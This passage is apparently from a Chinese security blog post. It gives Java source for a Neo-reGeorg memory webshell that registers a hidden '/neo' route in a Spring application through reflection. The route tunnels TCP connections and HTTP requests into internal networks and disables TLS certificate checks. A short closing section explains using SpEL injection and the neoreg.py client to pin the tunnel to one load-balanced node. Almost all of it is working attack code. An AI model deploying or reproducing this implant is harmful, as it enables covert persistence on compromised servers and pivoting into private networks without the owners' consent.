        Object[] args = new Object[]{request, response, "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(), new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 16, -1, -1, -1, 45, 2, 12, 37, 53, 41, 19, 44, 55, 33, 18, -1, -1, -1, -1, -1, -1, -1, 57, 56, 0, 47, 1, 9, 59, 17, 7, 35, 48, 52, 60, 62, 6, 34, 8, 32, 61, 51, 5, 46, 63, 3, 25, 31, -1, -1, -1, -1, -1, -1, 20, 39, 14, 27, 43, 26, 4, 40, 49, 50, 24, 21, 58, 29, 36, 42, 38, 22, 10, 13, 23, 54, 11, 30, 15, 28, -1, -1, -1, -1, -1}, 200, 513, 524288, "Sbxspawzq", "Die", "Ffydhndmhhl", "Nnpo", "Mueytrthxaatjpsb", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa", "<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->", "3uD0bq9GsCGpZcPIjwXcyj0ibSRDGyCcJI7lWF9Sh8uLqoNgpQWQAPBcM", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO", "CapFLueBCn2ZM", "YGsjBNsJR8DHQ3b5mVVVvruEH7oUHk", "b5v9XJbF", "0FX", "TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql", "CtWP7tBSKiDnysT9hP9pa", "oA9zNzisf6JqAYWYiKxPyeDALbg2jqhvIgTdBbebH201BCYUKnD", "9NMcA1i8lzO779wa6O", "QmPrA86mT15", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"};
        this.equals(args);
    }

    public static String injectMemNeoreGeorg() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = (RequestMappingHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration)configField.get(mappingHandlerMapping);
        Method method2 = NeoreGeorg.class.getMethod("MemNeoregeorg");
        RequestMappingInfo info = RequestMappingInfo.paths(new String[]{"/neo"}).options(config).build();
        NeoreGeorg springControllerMemShell = new NeoreGeorg(111);
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        return "ok";
    }

    public NeoreGeorg(int bbb) throws NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        if (bbb != 111) {
            injectMemNeoreGeorg();
        }

    }

    public boolean equals(Object obj) {
        try {
            Object[] args = (Object[])((Object[])obj);
            HttpServletRequest request = (HttpServletRequest)args[0];
            HttpServletResponse response = (HttpServletResponse)args[1];
            this.en = (char[])((char[])args[2]);
            this.de = (byte[])((byte[])args[3]);
            int HTTPCODE = (Integer)args[4];
            int READBUF = (Integer)args[5];
            int MAXREADSIZE = (Integer)args[6];
            String XSTATUS = (String)args[7];
            String XERROR = (String)args[8];
            String XCMD = (String)args[9];
            String XTARGET = (String)args[10];
            String XREDIRECTURL = (String)args[11];
            String FAIL = (String)args[12];
            String GeorgHello = (String)args[13];
            String FailedCreatingSocket = (String)args[14];
            String FailedConnecting = (String)args[15];
            String OK = (String)args[16];
            String FailedWriting = (String)args[17];
            String CONNECT = (String)args[18];
            String DISCONNECT = (String)args[19];
            String READ = (String)args[20];
            String FORWARD = (String)args[21];
            String FailedReading = (String)args[22];
            String CloseNow = (String)args[23];
            String ReadFiled = (String)args[24];
            String ForwardingFailed = (String)args[25];
            ServletContext application = request.getSession().getServletContext();
            Writer out = response.getWriter();
            String rUrl = request.getHeader(XREDIRECTURL);
            String cmd;
            int buffLen;
            byte[] buff;
            if (rUrl != null) {
                rUrl = new String(this.b64de(rUrl));
                if (!this.islocal(rUrl)) {
                    response.reset();
                    cmd = request.getMethod();
                    URL u = new URL(rUrl);
                    HttpURLConnection conn = (HttpURLConnection)u.openConnection();
                    if (HttpsURLConnection.class.isInstance(conn)) {
                        ((HttpsURLConnection)conn).setHostnameVerifier(this);
                        SSLContext ctx = SSLContext.getInstance("SSL");
                        ctx.init((KeyManager[])null, new TrustManager[]{this}, (SecureRandom)null);
                        ((HttpsURLConnection)conn).setSSLSocketFactory(ctx.getSocketFactory());
                    }

                    conn.setRequestMethod(cmd);
                    conn.setDoOutput(true);
                    Enumeration enu = request.getHeaderNames();
                    List<String> keys = Collections.list(enu);
                    Collections.reverse(keys);
                    Iterator var56 = keys.iterator();

                    while(var56.hasNext()) {
                        String key = (String)var56.next();
                        if (!key.equalsIgnoreCase(XREDIRECTURL)) {
                            String value = request.getHeader(key);
                            conn.setRequestProperty(headerkey(key), value);
                        }
                    }

                    buff = new byte[1024];
                    if (request.getContentLength() != -1) {
                        OutputStream output;
                        try {
                            output = conn.getOutputStream();
                        } catch (Exception var40) {
                            response.setHeader(XERROR, ForwardingFailed);
                            return false;
                        }

                        ServletInputStream inputStream = request.getInputStream();

                        while((buffLen = inputStream.read(buff)) != -1) {
                            output.write(buff, 0, buffLen);
                        }

                        output.flush();
                        output.close();
                    }

                    Iterator var62 = conn.getHeaderFields().keySet().iterator();

                    String responseBody;
                    while(var62.hasNext()) {
                        String key = (String)var62.next();
                        if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")) {
                            responseBody = conn.getHeaderField(key);
                            response.setHeader(key, responseBody);
                        }
                    }

                    InputStream hin;
                    if (conn.getResponseCode() < 400) {
                        hin = conn.getInputStream();
                    } else {
                        hin = conn.getErrorStream();
                        if (hin == null) {
                            response.setStatus(HTTPCODE);
                            return false;
                        }
                    }

                    ByteArrayOutputStream baos = new ByteArrayOutputStream();

                    while((buffLen = hin.read(buff)) != -1) {
                        byte[] data = new byte[buffLen];
                        System.arraycopy(buff, 0, data, 0, buffLen);
                        baos.write(data);
                    }

                    responseBody = new String(baos.toByteArray());
                    response.addHeader("Content-Length", Integer.toString(responseBody.length()));
                    response.setStatus(conn.getResponseCode());
                    out.write(responseBody);
                    out.flush();
                    out.close();
                    return false;
                }
            }

            response.resetBuffer();
            response.setStatus(HTTPCODE);
            cmd = request.getHeader(XCMD);
            if (cmd != null) {
                String mark = cmd.substring(0, 22);
                cmd = cmd.substring(22);
                response.setHeader(XSTATUS, OK);
                String inputData;
                int bytesRead;
                if (cmd.compareTo(CONNECT) == 0) {
                    try {
                        String[] target_ary = (new String(this.b64de(request.getHeader(XTARGET)))).split("\\|");
                        inputData = target_ary[0];
                        bytesRead = Integer.parseInt(target_ary[1]);
                        SocketChannel socketChannel = SocketChannel.open();
                        socketChannel.connect(new InetSocketAddress(inputData, bytesRead));
                        socketChannel.configureBlocking(false);
                        application.setAttribute(mark, socketChannel);
                        response.setHeader(XSTATUS, OK);
                    } catch (Exception var42) {
                        response.setHeader(XERROR, FailedConnecting);
                        response.setHeader(XSTATUS, FAIL);
                    }
                } else {
                    SocketChannel socketChannel;
                    if (cmd.compareTo(DISCONNECT) == 0) {
                        socketChannel = (SocketChannel)application.getAttribute(mark);

                        try {
                            socketChannel.socket().close();
                        } catch (Exception var41) {
                        }

                        application.removeAttribute(mark);
                    } else if (cmd.compareTo(READ) == 0) {
                        socketChannel = (SocketChannel)application.getAttribute(mark);

                        try {
                            ByteBuffer buf = ByteBuffer.allocate(READBUF);
                            bytesRead = socketChannel.read(buf);
                            buffLen = MAXREADSIZE;

                            for(int readLen = 0; bytesRead > 0; bytesRead = socketChannel.read(buf)) {
                                byte[] data = new byte[bytesRead];
                                System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                                out.write(this.b64en(data));
                                out.flush();
                                buf.clear();
                                readLen += bytesRead;
                                if (bytesRead < READBUF || readLen >= buffLen) {
                                    break;
                                }
                            }

                            response.setHeader(XSTATUS, OK);
                            out.close();
                        } catch (Exception var44) {
                            response.setHeader(XSTATUS, FAIL);
                        }
                    } else if (cmd.compareTo(FORWARD) == 0) {
                        socketChannel = (SocketChannel)application.getAttribute(mark);

                        try {
                            inputData = "";
                            InputStream in = request.getInputStream();

                            while(true) {
                                buffLen = in.available();
                                if (buffLen == -1) {
                                    break;
                                }

                                buff = new byte[buffLen];
                                if (in.read(buff) == -1) {
                                    break;
                                }

                                inputData = inputData + new String(buff);
                            }

                            byte[] base64 = this.b64de(inputData);
                            ByteBuffer buf = ByteBuffer.allocate(base64.length);
                            buf.put(base64);
                            buf.flip();

                            while(buf.hasRemaining()) {
                                socketChannel.write(buf);
                            }

                            response.setHeader(XSTATUS, OK);
                        } catch (Exception var43) {
                            response.setHeader(XERROR, ReadFiled);
                            response.setHeader(XSTATUS, FAIL);
                            socketChannel.socket().close();
                        }
                    }
                }
            } else {
                out.write(GeorgHello);
                out.flush();
                out.close();
            }
        } catch (Exception var45) {
        }

        return false;
    }

    public String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();
        int len = data.length;
        int i = 0;

        while(i < len) {
            int b1 = data[i++] & 255;
            if (i == len) {
                sb.append(this.en[b1 >>> 2]);
                sb.append(this.en[(b1 & 3) << 4]);
                sb.append("==");
                break;
            }

            int b2 = data[i++] & 255;
            if (i == len) {
                sb.append(this.en[b1 >>> 2]);
                sb.append(this.en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
                sb.append(this.en[(b2 & 15) << 2]);
                sb.append("=");
                break;
            }

            int b3 = data[i++] & 255;
            sb.append(this.en[b1 >>> 2]);
            sb.append(this.en[(b1 & 3) << 4 | (b2 & 240) >>> 4]);
            sb.append(this.en[(b2 & 15) << 2 | (b3 & 192) >>> 6]);
            sb.append(this.en[b3 & 63]);
        }

        return sb.toString();
    }

    public byte[] b64de(String str) {
        byte[] data = str.getBytes();
        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
        int i = 0;

        while(i < len) {
            byte b1;
            do {
                b1 = this.de[data[i++]];
            } while(i < len && b1 == -1);

            if (b1 == -1) {
                break;
            }

            byte b2;
            do {
                b2 = this.de[data[i++]];
            } while(i < len && b2 == -1);

            if (b2 == -1) {
                break;
            }

            buf.write(b1 << 2 | (b2 & 48) >>> 4);

            byte b3;
            do {
                b3 = data[i++];
                if (b3 == 61) {
                    return buf.toByteArray();
                }

                b3 = this.de[b3];
            } while(i < len && b3 == -1);

            if (b3 == -1) {
                break;
            }

            buf.write((b2 & 15) << 4 | (b3 & 60) >>> 2);

            byte b4;
            do {
                b4 = data[i++];
                if (b4 == 61) {
                    return buf.toByteArray();
                }

                b4 = this.de[b4];
            } while(i < len && b4 == -1);

            if (b4 == -1) {
                break;
            }

            buf.write((b3 & 3) << 6 | b4);
        }

        return buf.toByteArray();
    }

    static String headerkey(String str) throws Exception {
        String out = "";
        String[] var2 = str.split("-");
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String block = var2[var4];
            out = out + block.substring(0, 1).toUpperCase() + block.substring(1);
            out = out + "-";
        }

        return out.substring(0, out.length() - 1);
    }

    boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();

        while(nifs.hasMoreElements()) {
            NetworkInterface nif = (NetworkInterface)nifs.nextElement();
            Enumeration<InetAddress> addresses = nif.getInetAddresses();

            while(addresses.hasMoreElements()) {
                InetAddress addr = (InetAddress)addresses.nextElement();
                if (addr instanceof Inet4Address && addr.getHostAddress().equals(ip)) {
                    return true;
                }
            }
        }

        return false;
    }

    public boolean verify(String s, SSLSession sslSession) {
        return true;
    }

    public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
    }

    public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
    }

    public X509Certificate[] getAcceptedIssuers() {
        return new X509Certificate[0];
    }
}

Neo-reGorg 负载均衡

对于mysql这类长连接的代理,遇上负载均衡就会一直爆炸,所以得用

#{T(java.net.InetAddress).getLocalHost().getHostAddress()}

的方式先查看内网负债均衡节点的IP,然后使用

python neoreg.py -k password -u target/neo -r 内网ip/neo

指定内网节点作为转发,获取到一个稳定的长连接隧道

Tags: java, 内存马, SPEL